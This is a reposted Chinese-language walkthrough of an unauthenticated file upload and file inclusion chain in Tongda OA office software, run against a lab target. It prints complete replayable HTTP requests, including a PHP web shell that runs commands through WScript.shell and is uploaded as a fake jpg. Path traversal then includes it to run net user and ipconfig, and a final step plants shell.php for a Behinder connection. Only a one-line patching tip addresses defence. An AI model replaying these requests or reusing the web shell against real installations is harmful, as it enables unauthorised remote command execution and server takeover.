首頁  >  文章  >  運維  >  通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

WBOY
WBOY轉載
2023-06-02 20:55:223556瀏覽

一、漏洞介紹

通達OA介紹:

通達OA(Office Anywhere網路智慧辦公室系統)是由北京通達信科科技有限公司自主研發的協同辦公室自動化軟體,北京通達信科科技有限公司是一支以協同管理軟體研發與實施、服務與諮詢為主營業務的高科技團隊,是國內協同管理軟體產業裡唯一一家央企單位,中國協同管理軟體的領導企業。

通達OA為各行業不同規模的眾多用戶提供資訊化管理能力,包括流程審批、行政辦公、日常事務、數據統計分析、即時通訊、行動辦公等,幫助廣大用戶降低溝通和管理成本,提升生產和決策效率。本系統採用領先的B/S(瀏覽器/伺服器)操作方式,使得網路辦公室不受地域限。通達Office Anywhere採用基於WEB的企業運算,主HTTP伺服器採用了世界上最先進的Apache伺服器,效能穩定可靠。資料存取集中控制,避免了資料外洩的可能。提供資料備份工具,保護系統資料安全。多層級的權限控制,完善的密碼驗證與登入驗證機制更加強了系統安全性。

漏洞影響的版本有:

V11版、2017版、2016版、2015版、2013增強版、2013版。

備註:

無需登錄,前台即可實現漏洞利用

2013版:

檔案上傳漏洞路徑:/ ispirit/im/upload.php

檔案包含漏洞路徑:/ispirit/interface/gateway.php

2017版:

檔案上傳漏洞路徑:/ispirit/im /upload.php

檔案包含漏洞路徑:/mac/gateway.php

#漏洞環境:

靶機(Windows server 2008 R2) IP:172.16.0.45

通達OA:V 11.3版本

二、環境建置

(1)下載通達OA V11.3版本以後,點擊運行TDOA1​​1.3的應用程式運行檔案

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(2)確保80端口不被佔用的情況下,將應用程式搭建在80端口,然後點擊下一步

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(3)配置完成

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(4)檢視建立的結果

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(5)帳號為admin,密碼為空,登陸到後端系統

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

三、漏洞復現

3.1 任意指令執行

(2)存在無需登入即可上傳任一檔案的前台漏洞,攻擊者可以透過抓取封包、修改並重放封包的方式,上傳後綴為jpg的木馬檔案來攻擊系統

POST /ispirit/im/upload.php HTTP/1.1Host: 172.16.0.45Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh2YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: closeContent-Length: 660------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="P"123------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg<?php $command=$_POST[&#39;cmd&#39;];$wsh = new COM(&#39;WScript.shell&#39;);$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh2YB4pV8McGB--

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(2)查看執行結果

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(3)前台文件包含漏洞:修改封包,包含前面上傳的jpg木馬文件,即可實現執行任意命令

此處執行命令「net user」

POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 71json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=net user

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(4)前台文件包含漏洞:修改資料包,包含前面上傳的jpg木馬文件,即可實現執行任意命令

此處執行指令「ipconfig」

POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=ipconfig

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

3.2 getshell

(1)前台任意檔案上傳漏洞:抓取任意封包,修改資料包進行重播,上傳後綴為jpg的木馬檔案(木馬檔案執行寫入檔案操作)

POST /ispirit/im/upload.php HTTP/1.1

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(2)查看运行结果

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析(3)查看/webroot/ispirit/interface/目录下的文件信息

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析(4)前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,会在文件包含的根目录下生成一个 shell.php 文件

POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/213131861.jpg"}&cmd=ipconfig

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(5)查看文件包含漏洞的执行结果

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

(6)使用冰蝎进行连接:http://172.16.0.45/ispirit/interface/shell.php

密码为:pass

PS:此处用蚁剑和菜刀无法进行连接

通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析

四、加固建议

我们建议通达OA用户使用受影响版本登录通达OA官网,并获取最新的补丁。请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。

以上是通達OA前台任意檔案上傳漏洞及檔案包含漏洞導致getshell的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除